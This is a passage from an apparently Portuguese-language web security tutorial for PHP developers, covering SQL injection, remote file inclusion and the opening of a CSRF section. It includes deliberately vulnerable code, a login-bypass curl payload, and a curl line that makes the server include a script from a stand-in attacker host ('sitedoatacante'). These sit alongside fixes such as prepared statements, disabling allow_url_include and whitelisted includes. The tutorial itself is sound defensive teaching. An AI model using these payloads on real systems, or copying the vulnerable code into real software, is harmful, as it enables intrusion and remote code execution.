        &lt;span class=&quot;token comment&quot;&gt;// Errou o usuário e senha, volta para a página de login&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;Usuário e senha inválidos&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// Vai para a página de login&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token delimiter important&quot;&gt;?&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Levando em consideração que temos um usuário com nome &lt;code class=&quot;language-text&quot;&gt;teste&lt;/code&gt; e senha
&lt;code class=&quot;language-text&quot;&gt;teste&lt;/code&gt;, se executarmos a instrução abaixo, será exibida uma mensagem
de &lt;em&gt;login&lt;/em&gt; inválido:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ curl --data &quot;usuario=foo&amp;amp;senha=bar&quot; http://localhost/sql-injection.php

Usuário e senha inválidos&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Evidente! Este usuário não existe no banco de dados. Mas, podemos
imaginar que a aplicação não possua proteção contra injeções &lt;em&gt;SQL&lt;/em&gt;,
então podemos fazer com que a consulta retorne positivo, e que nosso
acesso seja garantido mesmo não possuindo um usuário no banco de dados.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ curl --data &quot;usuario=foo&amp;amp;senha=bar&apos; OR &apos;1&apos; = &apos;1&quot; http://localhost/sql-injection.php

Login com sucesso&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;A nossa &lt;em&gt;query&lt;/em&gt;, por não fazermos um tratamento nos campos do
formulário, foi composta pelo valor &lt;code class=&quot;language-text&quot;&gt;bar’ OR &apos;1’ = ’1&lt;/code&gt;, o que resultou
no seguinte &lt;em&gt;SQL&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;FROM&lt;/span&gt; usuario
&lt;span class=&quot;token keyword&quot;&gt;WHERE&lt;/span&gt; usuario &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;foo&apos;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;AND&lt;/span&gt; senha &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;bar&apos;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;OR&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;1&apos;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;1&apos;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Existem algumas soluções para este problema, como o uso de
&lt;code class=&quot;language-text&quot;&gt;addslashes&lt;/code&gt; no &lt;em&gt;PHP&lt;/em&gt;, mas os que fazem mais sentido para mim são:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;O uso da função &lt;code class=&quot;language-text&quot;&gt;mysql_real_escape_string&lt;/code&gt; para formatar dados
antes de construir a &lt;em&gt;query&lt;/em&gt;;&lt;/li&gt;
&lt;li&gt;O uso da classe &lt;code class=&quot;language-text&quot;&gt;mysqli&lt;/code&gt; para consultas a bancos de dados &lt;em&gt;MySQL&lt;/em&gt;,
ao invés do uso das funções &lt;em&gt;mysql&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A primeira é a mais prática de aplicarmos. No código anterior, bastaria
formatar os valores na hora que são resgatados do &lt;em&gt;array&lt;/em&gt; &lt;code class=&quot;language-text&quot;&gt;$_POST&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;php&quot;&gt;&lt;pre class=&quot;language-php&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;token variable&quot;&gt;$usuario&lt;/span&gt;    &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;mysql_real_escape_string&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;usuario&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token variable&quot;&gt;$senha&lt;/span&gt;      &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;mysql_real_escape_string&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;senha&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Com o &lt;strong&gt;mysqli&lt;/strong&gt;, precisamos fazer algumas alterações no código, como
demonstrado abaixo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;php&quot;&gt;&lt;pre class=&quot;language-php&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;token php language-php&quot;&gt;&lt;span class=&quot;token delimiter important&quot;&gt;&amp;lt;?php&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;# sql-injection.php (com mysqli)&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;usuario&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;senha&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token variable&quot;&gt;$usuario&lt;/span&gt;    &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;usuario&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token variable&quot;&gt;$senha&lt;/span&gt;      &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;senha&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

        &lt;span class=&quot;token comment&quot;&gt;// Abre conexão com o banco de dados&lt;/span&gt;
        &lt;span class=&quot;token variable&quot;&gt;$mysqli&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;mysqli&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;localhost&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;root&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;exemplos_blog&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token comment&quot;&gt;// Faz a consulta ao banco, comparando usuário e senha&lt;/span&gt;
        &lt;span class=&quot;token variable&quot;&gt;$query&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$mysqli&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;prepare&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string double-quoted-string&quot;&gt;&quot;SELECT 1 FROM usuario WHERE usuario = ? &quot;&lt;/span&gt;
            &lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;token string double-quoted-string&quot;&gt;&quot;AND senha = ?&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token variable&quot;&gt;$query&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;bind_param&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;ss&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$usuario&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$senha&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token variable&quot;&gt;$query&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;execute&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token variable&quot;&gt;$query&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;store_result&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

        &lt;span class=&quot;token variable&quot;&gt;$num_rows&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$query&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&gt;&lt;/span&gt;&lt;span class=&quot;token property&quot;&gt;num_rows&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

        &lt;span class=&quot;token variable&quot;&gt;$query&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;close&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$num_rows&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;token comment&quot;&gt;// Vai para a página logada&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;Login com sucesso&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;token comment&quot;&gt;// Errou o usuário e senha, volta para a página de login&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;Usuário e senha inválidos&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token comment&quot;&gt;// Vai para a página de login&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token delimiter important&quot;&gt;?&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Mas como o mundo não é feito só de &lt;em&gt;MySQL&lt;/em&gt;, se ocorrer de você utilizar
um outro banco de dados, eu recomendo o uso da biblioteca &lt;a href=&quot;http://php.net/pdo&quot; title=&quot;Conheça a lib PDO do PHP&quot;&gt;&lt;em&gt;PDO&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Como o &lt;a href=&quot;https://docs.djangoproject.com/en/1.4/topics/db/queries/&quot; title=&quot;Making queries&quot;&gt;&lt;em&gt;Django&lt;/em&gt; utiliza &lt;em&gt;ORM&lt;/em&gt;&lt;/a&gt;, e o &lt;a href=&quot;http://codeigniter.com/user_guide/database/active_record.html&quot; title=&quot;Active Record Class&quot;&gt;&lt;em&gt;Codeigniter&lt;/em&gt; tem a &lt;em&gt;Active
Record Class&lt;/em&gt;&lt;/a&gt;, nesses &lt;em&gt;frameworks&lt;/em&gt; essa validação é feita no momento
que interagimos com os seus &lt;em&gt;models&lt;/em&gt;. Mas é sempre bom ter cuidado!
Principalmente quando o &lt;em&gt;ORM&lt;/em&gt; não atende o nosso requisito, e temos que
partir para consultas &lt;em&gt;SQL&lt;/em&gt; puras.&lt;/p&gt;
&lt;h3&gt;Senhas criptografadas&lt;/h3&gt;
&lt;p&gt;Uma boa dica é, sempre que persistirmos um usuário em nossa base de
dados, armazenarmos a sua senha criptografada em um formato “sem volta”
(conhecido como &lt;em&gt;hash&lt;/em&gt;). Além de ser um princípio ético, que na minha
opinião todo o desenvolver de aplicações deveria ter, garantimos que
mesmo que a nossa aplicação seja invadida, as senhas dos usuários
estarão “seguras”.&lt;/p&gt;
&lt;p&gt;Embora o &lt;a href=&quot;http://pt.wikipedia.org/wiki/MD5&quot; title=&quot;Conheça o algoritmo MD5&quot;&gt;&lt;em&gt;MD5&lt;/em&gt;&lt;/a&gt; e o &lt;a href=&quot;http://pt.wikipedia.org/wiki/SHA1&quot; title=&quot;Conheça o algoritmo SHA1&quot;&gt;&lt;em&gt;SHA1&lt;/em&gt;&lt;/a&gt; sejam as escolhas mais populares, os
desenvolvedores do &lt;em&gt;Django&lt;/em&gt; &lt;a href=&quot;https://docs.djangoproject.com/en/dev/releases/1.4/#improved-password-hashing&quot; title=&quot;Leia a release note do Django 1.4&quot;&gt;recomendam o uso de algoritmos mais sofisticados&lt;/a&gt;,
como o &lt;a href=&quot;http://en.wikipedia.org/wiki/PBKDF2&quot; title=&quot;Conheça o algoritmo PBKDF2&quot;&gt;&lt;em&gt;PBKDF2&lt;/em&gt;&lt;/a&gt;, por acreditarem que o poder
computacional atingiu um nível, que senhas &lt;em&gt;MD5&lt;/em&gt; e &lt;em&gt;SHA1&lt;/em&gt; podem com
considerável esforço ser quebradas.&lt;/p&gt;
&lt;h2&gt;PHP Injection (não confie no PHP)&lt;/h2&gt;
&lt;p&gt;Embora esta técnica possa acontecer em outras linguagens, o &lt;em&gt;PHP&lt;/em&gt; dá
muita margem para desenvolvedores menos experientes deixarem brechas
para uma vulnerabilidade conhecida como &lt;strong&gt;&lt;em&gt;PHP
Injection&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Com o site dividido em seções, é comum termos inclusões de arquivos
&lt;em&gt;PHP&lt;/em&gt; para compor uma página. Para economizar esforço e linhas de
código, deixamos as partes como menu e topo “estáticas”, e só alteramos
o conteúdo do bloco principal da página. Acontece que em alguns casos, o
desenvolvedor espera que um determinado arquivo seja importado de acordo
com a &lt;em&gt;URL&lt;/em&gt; que o internauta está visitando. Por exemplo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;php&quot;&gt;&lt;pre class=&quot;language-php&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;token php language-php&quot;&gt;&lt;span class=&quot;token delimiter important&quot;&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# php-injection.php&lt;/span&gt;

&lt;span class=&quot;token variable&quot;&gt;$page&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;page&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;include&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;topo.php&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;include&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;menu.php&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;include&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$page&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token delimiter important&quot;&gt;?&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Logo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ curl http://localhost/php-injection.php?page=novidades.php&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;No caso acima, estamos incluindo o arquivo &lt;code class=&quot;language-text&quot;&gt;novidades.php&lt;/code&gt; e
automaticamente exibindo o seu conteúdo. Podemos navegar por outras
áreas do &lt;em&gt;website&lt;/em&gt;, por exemplo, &lt;code class=&quot;language-text&quot;&gt;page=contato.php&lt;/code&gt; ou
&lt;code class=&quot;language-text&quot;&gt;page=institucional.php&lt;/code&gt;. Mas, e se informarmos
&lt;code class=&quot;language-text&quot;&gt;page=php-injection.php&lt;/code&gt;?&lt;/p&gt;
&lt;p&gt;Caímos num &lt;em&gt;looping&lt;/em&gt; infinito!&lt;/p&gt;
&lt;p&gt;E, infelizmente, esse é o menor dos nossos problemas. O &lt;em&gt;PHP&lt;/em&gt;, quando
configurado com a opção &lt;code class=&quot;language-text&quot;&gt;allow_url_include&lt;/code&gt; como &lt;code class=&quot;language-text&quot;&gt;TRUE&lt;/code&gt;, é capaz
de importar arquivos de outros &lt;em&gt;hosts&lt;/em&gt;. Logo, o atacante pode ter um
&lt;em&gt;script&lt;/em&gt; malicioso hospedado em seu servidor, e passar o caminho dele
para a aplicação acima. A aplicação incluirá e interpretará o &lt;em&gt;PHP&lt;/em&gt; que
estiver neste &lt;em&gt;script&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ curl http://localhost/php-injection.php?page=http://sitedoatacante.com.br/meu-script-malicioso.php.txt&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pronto! Temos código &lt;em&gt;PHP&lt;/em&gt; de outra pessoa executando em nosso servidor.&lt;/p&gt;
&lt;p&gt;Para resolver este problema, configure a opção &lt;code class=&quot;language-text&quot;&gt;allow_url_include&lt;/code&gt;
em seu &lt;code class=&quot;language-text&quot;&gt;php.ini&lt;/code&gt; como &lt;code class=&quot;language-text&quot;&gt;FALSE&lt;/code&gt;. Outro passo importante é, sempre que
for importar algum arquivo que dependa de informações vindas do usuário,
verifique o conteúdo desta informação. Exemplo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;php&quot;&gt;&lt;pre class=&quot;language-php&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;switch&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$page&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;novidades&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;include&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;novidades.php&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;contato&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;include&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;contato.php&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;institucional&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;include&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;institucional.php&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;default&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;include&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;404.php&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Este ataque não é tão incomum quanto deveria. Fique atento.&lt;/p&gt;
&lt;h2&gt;CSRF – Cross-site request forgery (não confie na requisição)&lt;/h2&gt;
&lt;p&gt;O &lt;strong&gt;&lt;em&gt;Cross-site request forgery&lt;/em&gt;&lt;/strong&gt; ou &lt;strong&gt;falsificação de solicitação
entre sites&lt;/strong&gt;, é uma forma de ataque que mescla a &lt;a href=&quot;http://pt.wikipedia.org/wiki/Engenharia_social_(seguran%C3%A7a_da_informa%C3%A7%C3%A3o)&quot; title=&quot;Leia mais sobre Engenharia Social no Wikipedia&quot;&gt;Engenharia Social&lt;/a&gt;
com vulnerabilidades das aplicações &lt;em&gt;web&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;O ataque pode ser feito da seguinte forma:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Você recebe um &lt;em&gt;e-mail&lt;/em&gt; com uma &lt;em&gt;URL&lt;/em&gt; oculta (geralmente algum
&lt;em&gt;e-mail&lt;/em&gt; do tipo “Veja as minhas fotos” (: )&lt;/li&gt;
&lt;li&gt;Esta &lt;em&gt;URL&lt;/em&gt; executa alguma ação em uma aplicação que você esteja
autenticado no momento (por exemplo, o &lt;em&gt;Facebook&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;Esta ação pode, tanto dar poderes de acesso ao atacante, quanto
alterar ou remover os seus dados permanentemente&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Note que o primeiro item pode ser substituído por algum &lt;strong&gt;conteúdo
&lt;em&gt;link&lt;/em&gt; injetado via &lt;em&gt;XSS&lt;/em&gt;&lt;/strong&gt; em algum fórum ou área de comentários de um
&lt;em&gt;blog&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Embora o exemplo acima não represente tanta ameaça, existem vários tipos
de aplicações que este tipo de técnica pode afetar. O exemplo do banco,
